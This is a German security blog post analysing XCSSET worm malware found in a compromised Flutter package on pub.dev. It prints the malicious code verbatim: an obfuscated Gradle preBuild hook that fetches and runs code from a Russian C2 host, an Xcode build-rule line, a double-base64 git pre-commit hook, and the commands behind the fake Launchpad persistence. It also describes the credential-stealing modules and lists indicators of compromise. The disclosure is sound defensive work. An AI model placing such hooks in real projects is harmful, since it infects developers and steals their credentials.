Aikido

Kompromittiertes Flutter-Paket auf pub.dev enthält XCSSET-Malware

Verfasst von
Ilyas Makari

Heute reiht sich pub.dev in die Liste der Paket-Registrys ein, auf denen wir Malware gefunden haben. Wir haben eine Variante von XCSSET entdeckt, die sich in universal_file_viewer (Version 0.1.5) versteckt, einem Flutter-Dateivorschau-Paket auf pub.dev mit rund 500 Downloads. Dies ist das erste kompromittierte Paket, das wir auf pub.dev, dem offiziellen Paket-Repository für Dart und Flutter, entdeckt haben. Im Gegensatz zu den kürzl. Lieferkettenangriffen auf npm die Ihnen vielleicht bekannt sind, handelte es sich hierbei nicht um einen gezielten Angriff auf dieses Paket.

XCSSET ist ein macOS-Wurm, der einen bösartigen Build-Hook in jedes Android-Gradle-Projekt, Xcode-Projekt und Git-Repository einfügt, das er auf einem kompromittierten Rechner finden kann. Der Rechner des Maintainers war infiziert, und als er eine neue Version des Pakets von diesem Rechner aus veröffentlichte, wurden die infizierten Dateien mitgeliefert. Das pub.dev-Paket lässt sich auf ein kompromittiertes GitHub-Repository zurückführen.

Eine kurze Suche auf GitHub zeigt, dass dies auch heute noch geschieht, da andere Maintainer unwissentlich weiterhin infizierte Projekte veröffentlichen:

Für weiteren Kontext zu XCSSET siehe den Unit-42-Bericht The Xcode Assassin Returns sowie die Beiträge von Microsoft aus März und September 2025.

Was wir im Paket gefunden haben

universal_file_viewer ist ein pub.dev-Paket, das Inline-Dateivorschau-Widgets für Flutter-Apps bereitstellt: PDF, Word, Excel, Video, Markdown und Plain Text. Dessen Dart-Bibliothekscode in lib/ ist vollkommen sauber. Die infizierten Dateien befinden sich alle im Verzeichnis example/ , das im pub.dev-Tarball enthalten ist, aber niemals kompiliert wird, wenn das Paket als Abhängigkeit verwendet wird. Das einfache Hinzufügen von universal_file_viewer zu Ihrer pubspec.yaml und das Erstellen Ihrer eigenen App lösen nichts aus. Das Risiko besteht für Personen, die das Repository klonen und die Beispiel-App explizit lokal bauen. Dies ist kein gezielter Angriff auf das Paket oder dessen Abhängigkeiten. Der Wurm hat sich einfach an alle Build-Dateien geheftet, die er auf dem infizierten Rechner des Maintainers gefunden hat, und die meisten Nutzer des Pakets werden niemals davon betroffen sein.

Drei separate Build-Konfigurationen wurden infiziert, jede davon unabhängig durch die Wurmmodule von XCSSET injiziert:

example/android/app/build.gradle.kts enthält einen preBuild -Hook, der vom android_finder -Modul injiziert wurde:

tasks.all {
    if (name.contains("preBuild")) {
        doLast {
            ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563686f...0a | p | sh ) >/dev/null 2>&1 &)").start()
        }
    }
}

printf xAxd | tr -d A rekonstruiert xxd zur Laufzeit, um stringbasierte Scanner zu umgehen. Das Hex-Blob dekodiert zu einem Curl-Befehl an 5yotmxcc54l9xda[.]ru/a mit dem Kampagnen-Tag p=android_kotlin. Dies wird bei jedem Gradle-Build im Hintergrund ausgeführt, wobei die Ausgabe verworfen wird.

example/ios/Runner.xcodeproj/project.pbxproj und example/macos/Runner.xcodeproj/project.pbxproj enthalten beide einen PBXBuildRule Eintrag, der ausgelöst wird, wenn eine .md Datei während eines Builds verarbeitet wird:

script = "cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"\nsh -c \"${A3EA261}\"";

A3EA261 ist eine Build-Einstellung, die in derselben Datei definiert ist. Für iOS ist sie Base64-verschleiert (printf bdase64 | tr -d d) und verweist auf qdgs232i-q[.]ru mit dem Tag p=xcode_rule. Für macOS ist sie Hex-verschleiert (printf xxVd | tr -d V) und verweist auf ejntin6hkjt7gj2[.]ru ) mit demselben Tag. Beide werden beim Build des Projekts ausgeführt.

Die Infektionskette

XCSSET besteht aus mehreren Phasen und Modulen, von denen jedes eine spezifische Aufgabe erfüllt.

Phasen

  • Phase 1: Der Build-Hook kontaktiert den C2-Server und erhält ein Skript zurück, das mit dem Betriebssystem und dem Benutzernamen eine erneute Anfrage stellt
  • Phase 2: Der Server gibt ein verschlüsseltes Shell-Skript zurück, das die Seriennummer der Hardware und das Gebietsschema erfasst und den Hauptloader herunterlädt auf /tmp/h, erstellt ein unsichtbares App-Bundle darum, startet es und löscht beide innerhalb von zehn Sekunden
  • Stufe 3: Der Loader ist ein rein ausführendes, kompiliertes AppleScript, das sich selbst mit AES-256-CBC über einen tagesbasierten Schlüssel entschlüsselt und die entschlüsselte Nutzlast dann im Arbeitsspeicher ausführt
  • Stufe 4: Die entschlüsselte Nutzlast ist der Haupt-Orchestrator, der alle Module steuert

Ausbreitungsmodule

  • android_finder: injiziert einen schädlichen preBuild Hook in jedes Android-Gradle-Projekt auf dem Computer. Jede entwickelnde Person, die eines dieser Projekte erstellt, infiziert sich ebenfalls
  • git_finder: schreibt einen schädlichen pre-commit Hook in jedes Git-Repository auf dem Computer. Wird bei jedem Commit ausgeführt
  • replicator_finder: injiziert eine schädliche Build-Phase in jedes Xcode-Projekt auf dem Computer. Jede entwickelnde Person, die eines davon erstellt, wird infiziert

Persistenz

  • persist: ersetzt die Launchpad-Kachel im Dock durch ein gefälschtes Bundle, das die Kette jedes Mal neu auslöst, wenn der Benutzer darauf klickt. Überlebt Neustarts und hinterlässt keine Spuren an standardmäßigen Speicherorten für Persistenz

Diebstahlmodule

  • browser_remote: entfernt den Eintrag aus dem Safe-Storage Schlüsselbund von Chrome, um den neu generierten Verschlüsselungsschlüssel abzufangen, und exfiltriert dann gespeicherte Passwörter, Cookies und Session-Token
  • safari_remote: platziert ein gefälschtes Safari-Bundle und exfiltriert die lokalen Safari-Daten
  • firefox_data: platziert eine native Binärdatei und exfiltriert Firefox-Anmeldeinformationen
  • tdesktop: beendet Telegram, ersetzt es durch eine trojanisierte Kopie und zielt auf Sitzungsdaten ab
  • notes_app: wartet, bis Notizen, Erinnerungen oder Kalender geöffnet werden, und exfiltriert dann deren Daten
  • clipboard: liest und exfiltriert den Inhalt der Zwischenablage
  • settings_app: gibt sich als Systemeinstellungen aus und verwendet sudo zur Privilegieneskalation
  • data_folders_finder: durchsucht das Home-Verzeichnis und exfiltriert Dateien aus zielgerenderten Ordnern

Alle Diebstahlmodule werden vom C2 abgerufen und per [...] im Arbeitsspeicher ausgeführt osascript. Es wird nichts auf die Festplatte geschrieben. Gestohlene Daten werden vor dem Senden mit AES-256-CBC verschlüsselt an /u.

Wie sich die Malware verbreitet

Bevor Diebstahlmodule ausgeführt werden, sendet der Loader drei Worm-Module aus.

android_finder

android_finder durchsucht das Home-Verzeichnis nach Android-Build-Dateien:

nice -n 15 find ~ -maxdepth 6 \
  \( -type d \( -name Movies -o -name Library ... \) -prune \) \
  -o -type f \( -iname 'build.gradle' -o -iname 'build.gradle.kts' \) -print

Bei jedem Treffer wird vor der Injektion überprüft, ob es sich um ein echtes Android-Modul handelt, und eine eventuelle Altvirusinfektion bereinigt. Es werden sowohl Kotlin-DSL- als auch Groovy-Build-Dateien unterstützt. Jede Entwickelnde, die eines dieser Projekte baut, infiziert sich – ebenso wie alle, die das Repository klonen und danach kompilieren.

git_finder

git_finder findet jedes .git Verzeichnis auf dem Rechner und schreibt einen schädlichen pre-commit Hook in jedes Verzeichnis. Die Hook-Nutzlast ist polymorph: C2-Domain, Kodierungsschema und Verschachtelungstiefe werden pro Infektion zufällig generiert. Das Ergebnis sieht wie folgt aus:

#!/usr/bin/env bash ((n(){ base64 --decode | base64 --decode; };echo <blob> | n | sh ) >/dev/null 2>&1 &)

Jeder von der Entwickelnden in einem beliebigen Repository durchgeführte Commit löst die gesamte Kette im Hintergrund erneut aus. Falls bereits ein Hook existiert, entfernt das Modul die zuvor injizierten Zeilen über sed vor dem Anhängen.

replicator_finder

replicator_finder ist der klassische XCSSET-Vektor. Er analysiert project.pbxproj Dateien, sucht nach archiveVersion = und PBXShellScriptBuildPhase-Abschnittund fügt eine Run-Script-Build-Phase ein. Jede/r Entwickelnde, die/der ein infiziertes Xcode-Projekt öffnet und erstellt, ist betroffen. Dies ist seit 2020 dokumentiert und bleibt neben den beiden anderen Vektoren Teil des Toolkits.

In der Taskleiste (Dock) versteckte Persistenz

Der persist Das Modul gibt Aufschluss darüber, ob dies einen Neustart übersteht. Das ist der Fall, und zwar auf eine Weise, die den üblichen Persistenzprüfungen entgeht.

Es lädt dockutil vom C2 herunter (/d/dockutil_arm64 oder /d/dockutil_amd64), signiert es ad-hoc und erstellt ein gefälschtes App-Bundle unter ~/Library/Caches/vyf[.]lttzw[.]snjgwq/. Das Info.plist des Bundles wird gepatcht, um Launchpad zu imitieren:

plutil -replace CFBundleDisplayName -string 'Launchpad' <path>/Info.plist
plutil -replace CFBundleIdentifier -string 'com.apple.launchpad.launcher' <path>/Info.plist
plutil -replace LSUIElement -bool YES <path>/Info.plist

Es verwendet anschließend dockutil , um die echte Launchpad-Kachel im Dock durch das gefälschte Bundle zu ersetzen. Ein Klick auf Launchpad öffnet das echte Launchpad (open -b com.apple.launchpad.launcher) und führt gleichzeitig das schädliche Skript aus. Bei jedem Neustart wird es beim ersten Klick des Benutzers auf Launchpad ausgeführt.

Stealer-Module

Nachdem Verbreitung und Persistenz eingerichtet sind, ruft der Loader Diebstahlmodule ab. Jedes Modul wird von /s/<module> abgerufen und über osascript -e "$(curl ...)"ausgeführt. Es wird nichts auf die Festplatte geschrieben.

browser_remote lädt eine native Binärdatei (cd_arm64 oder cd_amd64) vom C2 herunter, entfernt die Chrome- GoogleUpdater und SoftwareUpdate Einträge und führt security delete-generic-password aus, um den Safe-Storage-Schlüsselbund-Eintrag von Chrome zu löschen. Durch das Entfernen dieses Eintrags wird Chrome gezwungen, seinen Verschlüsselungsschlüssel neu zu generieren, den die Binärdatei abfängt, um gespeicherte Passwörter, Cookies und Sitzungstokens zu entschlüsseln.

safari_remote legt ein gefälschtes Safari-Bundle unter ~/Library/ASafari/ und ~/Library/Caches/com[.]beta[.]Safari ab und exfiltriert die lokalen Safari-Daten.

firefox_data lädt hbdm_arm64 oder hbdm_amd64 herunter und führt es mit -c password --zipaus, wodurch eine firefox_browser_data.zip erstellt wird, die hochgeladen wird auf /u.

tdesktop führt aus killall -9 Telegram, lädt ein neu verpacktes Telegram.app vom C2 herunter und ersetzt das Original durch eine Version mit Ad-hoc-Signierung. Es zielt auf die Telegram-Sitzungsdaten sowohl des klassischen Pfads (~/Library/Application Support/Telegram Desktop/tdata) und dem sandboxed Container-Pfad.

notes_app wartet, bis Notes, Reminders oder Calendar ausgeführt werden, platziert sich im entsprechenden App-Bundle und schleust Daten aus notes_app_data.zip.

clipboard führt eine pbpaste Schleife aus und exfiltriert den Inhalt der Zwischenablage.

settings_app erstellt ein gefälschtes System Settings-Bundle, das in Spotlight unter „System Preferences“ und „Preferences“ aufgelistet wird, lädt eine separate Binärdatei mac_bin_daemon_app vom C2 herunter und führt Befehle via sudo -u zur Rechteausweitung aus.

data_folders_finder durchsucht das Home-Verzeichnis und exfiltriert Dateien aus zielgerichteten Ordnern nach /u.

Alle gestohlenen Daten gehen an /u über Multipart-POST, verschlüsselt mit einem AES-256-CBC-Key.

Wie Aikido dies erkennt

Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.

Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.

Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.

Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.

Indikatoren für Kompromittierung

C2-Domains

  • 5yotmxcc54l9xda[.]ru
  • qdgs232i-q[.]ru
  • ejntin6hkjt7gj2[.]ru

Dateiartefakte

  • project.pbxproj mit einer PBXBuildRule mit sh -c "${A3EA261}"
  • build.gradle oder build.gradle.kts mit verschleierter Shell-Ausführung unter Verwendung von printf xAxd | tr -d A zum Rekonstruieren von xxd
  • .git/hooks/pre-commit enthält base64 --decode | base64 --decode oder xxd -p -r | xxd -p -r
Teilen:

https://www.aikido.dev/blog/compromised-flutter-package-on-pub-dev-contains-xcsset-malware

Nach Malware scannen

Kostenlos starten
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Werden Sie noch heute sicher,
schnell und kostenlos.

Sichern Sie Code, Cloud und Laufzeit in einem zentralen System.
Verbinden Sie ein Repository, um herauszufinden, was die Reasoning Agents in Ihrer Codebasis finden.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sekunden.
Von über 150.000 Unternehmen vertraut